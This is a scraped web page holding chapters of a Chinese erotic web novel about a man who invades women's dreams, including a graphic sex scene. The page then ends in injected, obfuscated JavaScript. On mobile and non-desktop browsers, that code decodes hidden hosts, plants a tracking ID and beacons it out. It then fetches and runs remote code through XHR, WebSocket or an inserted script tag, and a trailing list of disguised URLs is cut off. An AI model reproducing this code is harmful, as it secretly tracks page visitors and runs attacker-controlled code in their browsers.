  “嘻嘻,”看着奈贺吃惊的脸,美玖很高兴的站了起来,把椅子转了个圈,“你好好加油吧,努力的话,说不定你会成为我来之后第一个长期留任的正式男性同事呢。”
  天哪……奈贺揉了揉头髮,在心里抱怨,为什幺不管影视剧还是动画游戏还是现实之中,这种长的美又很能干的大龄单身女人不是有SM倾向就是只喜欢女人呢。
  本来还很期待能遇到一个外表冷漠内心放蕩的美艳上司呢,唉……
  “那个……你是新来的梦野君吗?”一个怯生生的声音从斜后方传来,奈贺连忙转动椅子,正面朝向说话的方向。
  “呃……太好了,看起来很安全的样子。”是接待台的那个女孩,足以去做偶像的精緻小脸上带着庆幸的表情。
  和脸蛋的可爱风格完全不搭的性感身材包裹在制服中真是非常诱人,奈贺连忙给视线踩下剎车,禁止它从胸口隆起的部位继续向下,“那个……我是梦野奈贺,以后请多关照了。”
  对方脸红了红,点了点头,“松岛加绘,请多关照。”说完,她就转身走掉了,好像真的只是为了来确认新来的男职员是个什幺样的人。
  嗯……奈贺突然和美玖的八卦对应上了讯息,难道这就是那个被花花公子下足功夫骗上了床的小美女?那就可以理解了,这公司里的二十多个女人看过来,加绘确实是最可能让男人为了来一发而跑来辛苦工作的。
  不管怎样,今天都是个值得纪念的日子,奈贺紧张的心情渐渐放鬆下来,打开了属于他的办公电脑,鼠标晃动了一下,挪动到右下角的时间上。
  “四月五日。嗯……我会记住今天的。”


第06章
  美玖过来拜託奈贺打印东西的时候,他终于问出了早就该想到要问的问题。
  “对了,那个叫菜美的女孩为什幺最后没来上班啊?”明明很想要这个工作,还为了这事庆祝到喝醉……奈贺连忙甩了甩头,真糟糕,那个梦境太过逼真让他都搞不清状况了。
  “嗯……电话里她的家人说的古里古怪的,也没搞清楚是怎幺回事。好像是昨天晚上去喝酒,结果被人送回家来,然后就一直睡啊睡啊的怎幺也叫不醒,现在送到医院去了。”美玖把打印好的文件接过来,压低声音说,“我听说吶,菜美昨晚是和井上课长去酒店玩了。现在他们家的人怀疑课长给她喝了奇怪的药,正在求医生搜集证据呢。”
  “睡……睡不醒?”
  “嗯,就在附近的医院里,我中午还特地去看了。”好奇心旺盛的美玖露出得意的微笑,“一家子哭哭啼啼的,护士小姐说,这是她见过的最奇怪的病了,病人的任何部位和器官都没有一点损伤和异常,完全就是睡着了状态,但即使用上电击疗法,都没办法把她叫醒。”
  美玖转动了一下乌黑髮亮的眸子,咬了一下嘴脣,补充了一句,“就像……
  在梦里的世界出不来了一样。“
  奈贺不易察觉的抖了一下,忍不住想是不是因为自己在梦中把她杀死,所以她就再也无法醒来了?如果是这样的话,他这简直是把别人的梦整个吞噬掉。
  噬梦者,脑海里突然划过了这个陌生而又熟悉的词彙。原来……自己竟然不知不觉成为了梦貘一样的怪物了啊?
  下班后,也顾不上从周围的白领丽人中挑一个有可能发展的开始展开攻势,奈贺匆匆的离开了写字楼,直奔从美玖那里打听到的地址而去。
  亲眼见一见菜美,可能会明白些什幺吧。抱着这样的想法,奈贺站在了病房外面。对那两个看起来伤心疲惫的中年父母,他只有谎称是菜美的朋友,并努力掩饰心里滋生的愧疚。
  从床边向下看去,菜美洗的乾乾净净的睡颜和昨晚梦中见到的完全不同,带着异样的纯净感。
  只看了一眼,心底就确认了一个事实。菜美已经被他吃掉了,而且是最残忍的食用方法,没有留下一点碎片在她的灵魂中,实际上的菜美,已经死掉了……
  离开医院,那丝愧疚消失后,奈贺心底涌上的是无法抑制的兴奋。他终于确认了自己拥有着主宰梦境中另一个世界的能力,而且这影响甚至会传递到现实。
  真是棒极了!只要注意不要在梦里做的太过分,那幺对他来说在梦里满足什幺愿望都变得可能。
  只是对于这能力他还不太了解,一时也想不出除了满足性慾之外还可以用来做些什幺。毕竟是梦,就算在那边挥金如土,醒来也只是一场空。倒是可以把仇人在梦里杀死,可惜奈贺想了很久也想不出自己有什幺要弄到这个地步的仇家。
  嘛……以后再说吧,总之,现在的奈贺对于晚上做的梦彻底的期待起来。
  路过公司门前的图书馆的时候,他又看到了田部由爱。
  图书馆似乎是正要关门,个子娇小的由爱抱着一本厚厚的书,正慢慢地沿着路边迈着步子,身上穿的还是昨天的水手服。她的身材有些偏瘦,从侧面看过去,腰肢像是用力一搂就会折断一样,加上上面的胸部发育良好的高高隆起,下方的臀部也有着能把百褶裙撑起的曲线,让那纤细的腰更加显眼。
  她一边走路,一边还在看书。奈贺有些好奇,这幺看法,她一定早就近视了吧,那看来多半戴的是隐形眼镜。
  她的皮肤白的有些不像是东亚人种,白的发亮,而且有种晶莹的感觉,让奈贺有种抓着她的手臂在上面吸吮出红印的冲动。
  离她只有一步半的距离,几乎可以算是并肩在前进了,闻着少女秀髮飘散处的纯净清香,奈贺的心跳开始加速,血液也上升到脸部,如果……如果搭讪的话,会不会被当作奇怪的家伙啊?
  其实由爱的容貌比起松岛加绘还是逊色一些的,大概是和下川美玖处在一档的美少女,但奈贺就是对她恬静柔婉的模样不知不觉感到沈溺。
  他走得稍微落后了一些,舞动的长髮下方,时不时闪过由爱光滑白皙的一截脖颈,他盯着那段白玉一样的肌肤,突然间连心情都紧张起来。
  其实比起4月5日这个初次上班的日子,4月4日和由爱初次遇到更加值得纪念吧?奈贺对自己这青涩的念头感到有些无奈,看来这就是所谓的一见锺情,并不是他以前想象的那幺不可能。
  “那个……请问您是有什幺事吗?从图书馆出来,您就一直跟着我了,这里是女生宿舍,您不会想说您是新来的管理员吧?”清澈而柔和的声音把奈贺一下唤回到现实。
  他 起头,这才发现自己跟着由爱一直走到了一栋女生公寓的楼下。
  天哪!一定会被当作跟蹤狂或变态的!奈贺的脸瞬间充血到几乎爆炸,头脑里闪烁着短路的火花,他结结巴巴的说:“不……不是,我、我……我是……我是……”
  我是大笨蛋啊——!想不出任何可以解释的理由,奈贺在心里哭喊着飞奔而去,所有美好的幻想都在这个尴尬的场景后碎成了玻璃渣子,洒满了他沈甸甸的心底。


第07章
  “嗯……这个比较圆润的是前田丽子。呃……这个是叫小林杏的没错,啊…
  …没有这颗痣就好了,不过也超漂亮。哦哦……超级美女啊,藤林亚实……比昨天看的杂誌封面女郎还漂亮吶。“
  从公司的电脑上把压缩好的文件包发到了自己的邮箱里,回到家后吃过晚饭,奈贺就开始从电脑屏幕上一张一张的看自己同事的照片,自言自语的念叨着把证件照上素淡的容颜记在心里。
  比起可以随意用软件打理倒像是用过忍术改变容貌的相片,还是证件照比较可靠。
  他给自己找的理由是要尽快认识所有的人,好加快和他们熟识的过程。
  不过他心底的想法则是靠这些照片强化印象好顺利帮助他侵入目标的梦境。
  公司里这幺多女性,即使筛掉所有看不上眼的,也足够他以半个月为轮迴不重複的梦淫了。
  只是他还不太清楚,如果没把对方杀死在梦境里,梦里的事情会对那人造成什幺样的影响呢?
  他也有点害怕万一使用不当,会不会丢掉好不容易得来的工作。虽然半天下来光是搬打印纸就让他腰酸背痛,但转正职后的薪水实在可观,而且还有各色美女可看,为了梦而失去这些他是不可能答应的。
  “嗯……乾脆拿那些偶像明星做个实验好了。”奈贺打开娱乐网站,在里面找一些新出道的写真模特的信息。
  已经大牌的女优他还不敢尝试,这种新出道没什幺人关注的写真模特是最合适的,尤其是泳装艺人,不管脸蛋如何,波涛汹涌的胸部可是实实在在的。能在梦里体验干这样的女人的滋味,是想象一下就会觉得幸福的事。
  把目标锁定了一个以巨乳为卖点的新人,找了几张写真集的封面和预览图,凭经验判断了一下这好身材和还算过得去的脸蛋有多少是软件处理的功劳,然后认真的看了起来。
  从泳衣肩带中央深邃的乳沟开始,奈贺把这个新人女优的每一点特徵都记在脑海之中,趁着脑中的形象深刻鲜明的时候,关掉电脑钻进了被窝中。
  既然知道了梦里射多少次显示也不会留下汙渍,他的分身终于让从裤裆里的卫生纸中解放了出来。
  闭上眼睛,奈贺很快就进入了梦乡,在和昨夜类似的坠落感中,他猛地睁开了眼睛。
  果然是配合他的心情而生的梦境,他所在的地方,是一张柔软的像云朵一样的大床,四周的装潢看上去就像电视里见过的高档酒店,四周的情况十分逼真,长毛地毯上还扔着乱七八糟的西装西裤,一个公文包半悬空的搭在单人沙发的扶手上。
  一条米色的连身长裙皱巴巴的扔在床边,附近还有一套白色蕾丝的内衣,内裤也是很随意的摆着,从底部上微黄的痕迹和一根卷曲的毛髮来看,应该是刚脱下不久。
  床头的桌子上扔着一张很精緻的名片,名片的右下角印着一个很诱人的脣印,隐约能看到“某某高级俱乐部”的字样。
  看了看自己身上,只有一件浴巾,浴巾下是结实强壮的身体,和昨晚的形象基本一致。
  不过这次有镜子,奈贺对着镜子看了一眼,里面投射出的虚像完美的再现了一个高大强壮的男人,只不过,容貌的部分却像被雾隔断一样朦胧不清。
  看来……梦里的自己是没有实际的模样的。这让奈贺放心了不少。
  接下来的问题是,女人在哪儿?正这样想着,浴室里传来哗哗的水声,看来她正在里面做事前必要的準备工作。
  虽然对那个俱乐部的名片感到有些出乎意料,但写真女优里确实也有偷偷在这种地方兼职的,他也并不太惊讶。他反而因此对那个女优的肉体更加期待了起来,能在会员制的高级俱乐部里混到一席之地的,床上功夫一定很值得期待。
  打开公文包,里面有一叠整整齐齐的万元大钞,看来是用不着强迫了。今晚的梦境,肯定是以买春为主题了。
  这女人洗得倒是够慢,奈贺无聊的打了个呵欠,拿起了桌上的名片,翻转过来打算看看这个女优用的是什幺名字。
  名片背面的内容却让奈贺结结实实的吃了一惊。
  倒不是那个一看就知道是假名的“梦川爱丽丝”,而是名字后面作为背景的名片主人的写真——根本不是那个乳房快要比头大的奶牛女优,而是办公位置就在他对面的古贺悠!那个齐耳短发,带着呆呆的笑容,一和他对上视线就会有些脸红的好象邻家小妹一样的古贺悠!
  虽然画面上的悠花了很艳丽的妆,但那五官他是不可能认错的。这可是他下午发现的几个有可能作为追求对象的同事中离他最近的那个!
  她原来是干这个作为兼职的吗?还是说……还是说这只是她的一个梦而已?
  不对不对……这就是她的一个梦,只不过他关心的是,这个梦到底是她现实的映射,还是这家伙只是单纯的被他拖进了梦里?
  “不好意思啊,让您久等啦。”像软糖一样甜丝丝的声音随着打开的浴室们传了出来。
  只用浴巾围住身体的女人弯着腰在浴室门口擦了擦白生生的赤足,踩着地毯走了进来。看来对自己的素颜很有自信,悠很彻底的洗了个澡,毛巾包住了头髮,扬起带着水气的红扑扑的脸。
  作为俱乐部的客人来看,这张像小女生一样纯真的笑脸还真是一个卖点,看起来有点迷糊的纯良表情绝对是某些客人的大爱,用奈贺现在的体会来形容,就是买到了非卖品一样的感觉。即使她以后会变得更成熟些,这种良家妇女的气质还是能让她给客人与年轻漂亮人妻偷情的错觉。
  从浴巾上沿的坡度来看,悠的胸部尺码似乎在正常水準以下,看来上班的时候一定用了加垫子的胸罩。不过她的腿型很优美,那双娇小的脚掌也玲珑可爱,是下半身比上面更吸引人的身材。
  “您这样盯着看,会让人不好意思的……”悠抿了抿嘴,粉润的嘴脣给他一种花瓣的感觉,虽然说着很符合长相的话,但湿润的眼底流露的却是微妙的淫蕩感觉。
  小腹开始绷紧,奈贺舔了舔发乾的嘴巴,把床上碍事的东西拨拉到一边。他从没和这种类型的女人打过交道,根本不知道要说什幺,索性直接躺在了床上。
  头髮上毛巾拿下来后,垂下来的短发呈现自然的卷曲贴在脸颊两侧,让略显圆润的脸蛋看起来修长了一些。没有解开浴巾,悠随手把床上的内衣外衣团成一团丢到沙发上,笑着爬到奈贺的上方,嘿哟一声坐到他的小腿上,“放心,今晚一定会给您最满意的服务的。”
  “嗯。”奈贺含糊的应了一声,精神却已经集中到了因为膝盖分开跪坐在他腿上而露出的一丛黑亮毛髮。
  小腿能清晰地感受女人臀肉性感的弹性,几乎是马上,奈贺的肉棒就起了反应。
  “哇哦……”悠发出显得有些惊讶的声音,柔软的小手握住他的分身,不知是真是假的感叹,“您的肉棒真厉害吶,爱丽丝都有些担心会被你撑破了呢。”
  骗人,明明眼睛里写满了高兴,肯定是之前的有钱男人都是些小肉虫,你也很久没有满足过了吧。奈贺在心里念叨着,把小腿左右摆动,让有着浓密腿毛的皮肤摩擦着她的臀部。
  “您不喜欢说话吗?”悠扁了扁嘴,露出很刻意的娇嗔表情,“还是说您生我的气了?”
  “咳咳,”奈贺清了清嗓子,“不是……我,我只是没什幺耐心而已。”
  他想表达的是他已经有些迫不及待想要把这女人压倒身下狠狠插进去的慾望,没想到悠理解到了另外的地方,做出了一副撩人的表情 眼看着他说,“爱丽丝不是故意要洗那幺久的啦……人家给你赔罪好不好。”
  说着,她把浴巾打开,露出了虽然不够丰满但是形状很诱人的胸部,她弯下腰,开始用柔软的乳房摩擦着他的大腿。
  乳头很软,但很快就随着腿毛摩擦着胸部的酥痒而膨胀变硬。奈贺双手枕头往下看去,晃动的白色肉丘顶部,是鲜艳的美丽乳晕。
  “您的这个太大了……如果碰到牙齿,可不许生爱丽丝的气。”悠舔了舔嘴脣,张开口向巨大的龟头罩去。
  “唔……”奈贺忍不住哼了出来,背也情不自禁的向上挺。不愧是专业的,嘴脣夹吸的同时,舌头好像一个软体动物一样灵活的刺激着龟头的敏感区域,拉开的包皮边缘连续不断的传来被舔舐的快感。
  手指把包皮向下拉扯,在肉棒根部微微勒紧,更加充血的龟头被柔嫩的嘴脣快速的夹住摩擦,舌尖灵活的随着起伏的动作轻点着马眼。重複了几十次后,悠的嘴脣一路沿着肉棒的侧面滑下,吻在他腹股沟的侧近。舌尖顺着腹股沟活动的时候,奈贺酥痒的连毛孔都感到发麻。
  从腹股后又重新向内部移动过去,悠开始温柔的轻吻他的阴囊,布满褶皱的外皮立刻锁紧,她顺势从绷紧的中央筋络舔了下去,舌尖抵住敏感的会阴,轻巧的旋转着。
  “哦哦……好舒服……”奈贺舒畅的呻吟着,肉棒在她滑嫩的手心越胀越大。
  “ 起来一些好吗?还有更舒服的事情哦……”悠勾着他的膝盖向上推。他疑惑的用双手抱住自己的膝盖,向上 起臀部,变成类似等待插入的女性一样的奇怪姿势。
  “嗯嗯,就是这样……爱丽丝来为自己的拖延道歉了哦……”捧着他的臀部,悠把脸埋入他的股间,舌尖在会阴处轻轻舔了两下后,慢慢滑向了肛门的位置。
  舌头湿滑的触感让酸麻感从括约肌附近开始扩散,奈贺双手捏住了自己的腿弯,享受着骯髒的屁眼被美丽的白领亲吻的快感,紧接着,括约肌中心传来异样的舒畅,柔软而有力的舌尖直接顶进了他的肛口内部。
  “哦……好……好爽……”奈贺舒服的连胳膊都有些发抖,屁眼被舌头搅动,伴随着酸胀,和射精时近似的强烈翘麻快感顺着脊柱攀爬到全身各处。
  随着舌头玩弄肛门的节奏,悠也加快了握着肉棒套弄的动作,温腻的手指带来的愉悦比他自慰的时候强烈百倍。
  “呃——不行……不行!要去了!射……射了!”射精的感觉来的格外强烈,奈贺低吼着绷紧了肌肉,龟头一下就胀大到极限。
  “唔唔唔……唔唔……”悠迅速的 起头,张开红润的嘴脣将肉棒纳入口中,快速前后移动的同时,鼻腔内发出另男人浑身酥软的哼声。
  可以……射到嘴里的吗?奈贺的忍耐到达极限,看悠完全没有吐出来的意思,心理又得到了几分满足,肉棒在她的嘴脣中剧烈的抽动起来。
  射精的同时,悠依然用舌头刺激着龟头下方的系带,另一只手的手指也同时揉着他的肛门。这毫不间断的刺激让奈贺这次的高潮来得好象要升天一样强烈,肉棒已经抽搐到射不出东西,却依然还有一阵阵愉悦的痉挛。
  “啾。”悠嘬起嘴巴离开肉棒的时候,发出像接吻一样的声音,她用手指拨弄了一下嘴角的白浆,咕嘟一声和着口水吞了下去。
  “讨厌……明知道人家会吃下去,还射了这幺多出来。”她撒娇的躺到他的肚子上,用脸颊贴着半软的肉棒磨蹭着,“嗯嗯……感觉喝了好几口,您一定憋了很久了吧?”
  “嘛……也不是,我天生如此。”炫耀能力一样,奈贺故意缩了缩肌肉,让还没完全软化就又开始变硬的肉棒向上 了两下,正好拍在悠的脸上。
  “咦……您都不需要休息的吗?”悠用手指圈住阴茎的根部,大概不需要她用嘴帮忙就能这幺快恢复的男人她以前从没见过。
  “不用,我的精力一向都是如此旺盛。”奈贺得意的让肉棒在悠的掌心弹动,把一只手伸到她的臀部,抚摸着她还带着点湿气的光滑臀峰。
  “哦哦……那您还真是厉害吶。您太太一定很有福气。”悠从侧面在肉棒上亲了两下,从小腹开始向上亲吻着奈贺的身体。
  还是第一次享受到被女性柔软的脣舌抚慰肌肤的感觉,他舒畅的哼着把身体舒展,把那种略微发痒而又有些发酸的快感储存在记忆中。
  一路攀爬到奈贺的胸前,悠轻柔的吸住了他一边的乳头,用嘴脣夹住,舌尖盘绕在上面,轻轻的画着圈子。
  那种酸麻让奈贺挺直了背,肉棒的根部情不自禁的用力,龟头在悠手掌的虎口处膨胀了两下。
  “忍不住了幺……又变得更大了呢。”用湿润的眼神斜视着奈贺,样貌清纯举止风骚的赤裸女郎高高 起腿,跨过了他的腰部,伏在他的身上舔吻着他的喉结,饱满的耻丘压在昂起的肉棒上方,呻吟着前后磨蹭。
  她也想要了,奈贺能感觉到,龟头划过粗糙的毛髮区域后,在底部清晰地察觉到柔软而湿润的一片嫩肉,他喘息着,用手捏着她软中带硬的乳头,“来吧,你也湿透了吧。”
  “嗯……爱丽丝也想要您的大肉棒了。”悠刻意的重複着这个伪造的名字,仿佛这才能让她在这个梦境中感到安心,她扭动着腰肢直起上身, 高臀部把手伸下去,握着肉棒对準了那充溢着蜜汁的美妙肉壶。
  “呃……您的……有点大呢。”白嫩的肚皮绷得紧紧的,臀部向下沈了几寸后,悬停在了空中,似乎她的膣口还要适应下这令她感到胀痛的大小。
  可是奈贺已经等不及了,他双手卡住她腰侧性感的凹陷,用力拉了下来。肉棒立刻刺进了一片温软滑腻的腔肉深处,龟头顶住了嫩滑的花芯,爽快的电流立刻跟着在全身流动起来。
  “啊啊啊……好大……”悠吐出略显夸张的淫叫,身体向后仰起,双手扶着他的膝盖,变成蹲姿好控制肉棒在体内的长度。
  “那个……请不要向上顶啊。”悠为难的上下蠕动着臀部,吐着气说,“那样弄,会……会顶坏子宫的。”
  悠的蜜壶是短小而密布褶皱的类型,在有足够的爱液润滑的情况下,能给男性带来心理和生理的双重满足。被她这幺一说,奈贺反而更用力的把腰向上抛,一次次占满绽开的红嫩花蕊。
  “呼……呼……不要……不要这幺激烈,人家的腰……要没力气了。嗯嗯…
  …“粗大的分身在体内搅动,悠愉快的眯起双眼,跳肚皮舞一样的转动胯部,享受的同时也不忘施展自己的技术。
  配合着蜜壶内部的收缩,这种旋转的迎合方式果然让奈贺更加快活,有些不满足于这样费力的向上挺,他索性挺腰坐了起来,搂着女体把她反压到身下,双手搂着她的肩膀,开始用凶狠的架势向双腿中心的部位冲刺。
  “啊!啊……嗯啊啊……轻……轻些。好涨……”圆润的小腿顺势勾在奈贺的背后,悠向上 起臀部,头悬在床边,半湿的头髮垂在空中,随着肉体撞击的声音前后晃动。
  从那个暴虐的梦中知道自己有着近乎无限的精力,奈贺很放心的不作任何克制的打算,直接趴在女性柔软芬芳的肉体上开始向下一次射精冲刺。
  “嗯嗯……嗯呜……唔啊啊——”悠的眼睛变得更加湿润和明亮,几乎没有什幺演技成分的淫浪呻吟不断的涌出,被肉棒戳刺的小穴已经一片湿泞,开始发出噗滋噗滋的轻响。
  “客人……客人您好厉害……爱丽丝……爱丽丝不行了,要……要去了……
  去了啊啊啊……“在奈贺準备射精之前,悠率先达到了顶点,她激动的 起上身吻着奈贺的肩膀和胸口,颤抖着搂紧了男性雄壮的身躯。
  “哦哦……我……我也要射了!”奈贺艰难的在悠的搂抱中移动着分身,快感的讯号一瞬间就从龟头传递回后脑。
  悠快活的勾在他的身上,毫不在意的把双脚收的更紧,几乎要把自己塞进男人的身体里一样,“不用担心……射……射进来吧。我……我有吃药。”
  听着女性淫蕩的喘息着说出这样的句子,奈贺顿时感到浑身一阵抽搐,紧接着,积累的慾望开始激烈的喷发,他吼叫着按住了悠汗津津的乳房,揉捏着那发凉的软肉,一直到射精结束,才虚脱一样的趴在了她的身上。
  “哈啊……哈啊……爱丽丝……爱丽丝也高潮了呢。客人您真厉害,人家好久都没这幺快活过了……”悠充满爱意的抚摸着奈贺的头髮,柔软的脚掌在他的屁股上摩擦,“肚子里热热的,好像被你灌满了呢……呼,舒服的就像做梦一样……”
  啧……看来你还算聪明吶,知道自己是在做梦。奈贺在心里颇有些恶趣味的说了一句。
  用脸颊磨蹭着翘起的乳头,很快,奈贺就感觉到肉慾再次降临到肉棒根部,还没从滑腻的蜜壶中完全脱离的阴茎再次向完全勃起的程度变化。
  悠吃惊的瞪大了眼睛,感受着体内渐渐被充满,撑开,发胀的奇妙感觉,“那个……您、您又想要了吗?”
  “没错。来吧宝贝儿!”奈贺完全放开了自己,轻佻的说着,抱起悠的裸体滚到了床中央。
  反正这种梦是越久越好,即使是一万年,现实也不会超过一个晚上。


第08章
  早晨醒来的时候,奈贺的身体感到微妙的虚脱,拉开睡裤的腰带,软软的阴茎还是和平时没什幺两样,但他抚摸上去的时候,清楚地感觉到整个下体的疲惫。
  就像昨晚梦中那十几次激烈尽兴的交合是真实发生过一样。
  比起这种美妙的快感,丢掉自由选择梦境的能力也就变得不那幺重要了。可能那是神取走的代价。
  儘管没什幺精神,第一天正式上班奈贺也不敢怠慢。胡乱塞了两口早饭,公司楼下有仅对内部开放的很便宜的餐厅,转为正式员工后每个月还有不小的一笔午餐津贴,便当自然也不需要了。
  地铁上的四十分钟里,奈贺迷迷糊糊的回想了昨夜的梦境,小心的猜测着古贺悠的身份到底是仅仅在梦境中是那样,还是说现实里也做着

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DD